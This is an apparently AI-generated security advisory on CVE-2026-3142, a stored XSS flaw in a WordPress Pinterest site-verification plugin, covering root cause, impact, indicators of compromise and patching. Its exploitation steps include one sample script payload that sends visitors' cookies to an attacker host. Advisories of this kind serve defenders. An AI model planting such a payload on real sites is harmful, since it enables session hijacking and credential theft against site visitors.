CVE-2026-3142
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-3142 is a Stored Cross-Site Scripting (XSS) vulnerability in the Pinterest Site Verification plugin using Meta Tag for WordPress. It affects all versions up to and including 1.8, and was published on April 8, 2026, with Wordfence as the assigning authority. The flaw allows authenticated attackers with subscriber-level access or higher to inject arbitrary web scripts via the post_var parameter, which then execute for any user visiting the affected page. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, ENISA EUVD).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), stemming from insufficient input sanitization and output escaping of the post_var parameter in the plugin's PHP code (Wordfence). Vulnerable code locations have been identified in PinterestMetaTagSiteVerification.php at multiple lines (L92, L132, L160, L172, L180, L214), where user-supplied input is rendered without proper escaping (WordPress Trac). Exploitation requires only a low-privilege authenticated account (subscriber level), and no user interaction is needed beyond a victim visiting the injected page. The attack vector is network-based with low complexity, and the scope is changed, meaning the injected script can affect users beyond the attacker's own session.

Impact

Successful exploitation allows an attacker to persistently inject malicious JavaScript into WordPress pages, which executes in the browsers of all subsequent visitors. This can lead to session hijacking, credential theft, redirection to malicious sites, or delivery of further malware payloads to site visitors. Confidentiality and integrity are both impacted at a low level per the CVSS scoring, with no direct availability impact; however, the persistent nature of stored XSS amplifies the risk across all users of the affected WordPress site (Wordfence, ENISA EUVD).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-3142 as of the latest available data. The EPSS score is approximately 0.042%, indicating a low probability of exploitation in the near term (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a subscriber-level WordPress account, which limits opportunistic mass exploitation but remains a realistic risk on sites with open registration.

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Pinterest Site Verification plugin using Meta Tag version 1.8 or earlier, using tools like WPScan or manual inspection of plugin directories.
  2. Obtain low-privilege access: Register or obtain a subscriber-level (or higher) account on the target WordPress site.
  3. Inject malicious payload: Submit a crafted value for the post_var parameter in the plugin's settings or relevant input field, embedding a JavaScript payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  4. Payload persistence: The unsanitized input is stored in the WordPress database and rendered without escaping on affected pages.
  5. Victim execution: When any user (including administrators) visits a page where the injected content is rendered, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to plugin settings pages from low-privilege accounts, particularly with unusual or encoded values in the post_var parameter.
  • Database: Unexpected JavaScript or HTML script tags stored in WordPress database fields associated with the Pinterest Site Verification plugin settings.
  • Network: Outbound requests from site visitors' browsers to unknown external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating from pages served by the affected WordPress site.
  • File System: No direct file system artifacts expected for stored XSS, but review wp_options table entries related to the plugin for injected script content.

Mitigation and workarounds

Site administrators should update the Pinterest Site Verification plugin using Meta Tag to version 1.9 or later, which addresses the insufficient sanitization of the post_var parameter (Wordfence). As an interim measure, restrict WordPress site registration to trusted users only, minimizing the pool of potential attackers. Web application firewalls (WAFs) with XSS filtering rules can provide additional defense-in-depth while patching is pending.

Community reactions

Wordfence disclosed the vulnerability through their threat intelligence platform and included it in their weekly WordPress vulnerability report for April 6–12, 2026 (Wordfence Blog). Coverage has been limited to automated vulnerability tracking services and security aggregators, with no notable independent researcher commentary or significant social media discussion identified.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-92541HIGH7.2
  • import-users-from-csv-with-meta
NoYesSep 20, 2026
CVE-2026-92540HIGH7.2
  • import-users-from-csv-with-meta
NoYesSep 20, 2026
CVE-2026-86785MEDIUM5.3
  • woo-to-facebook-shop
NoNoSep 20, 2026
CVE-2026-92965LOW3.7
  • tiktok-for-business
NoYesSep 20, 2026
CVE-2026-92423LOW2.7
  • meow-gallery
NoYesSep 20, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management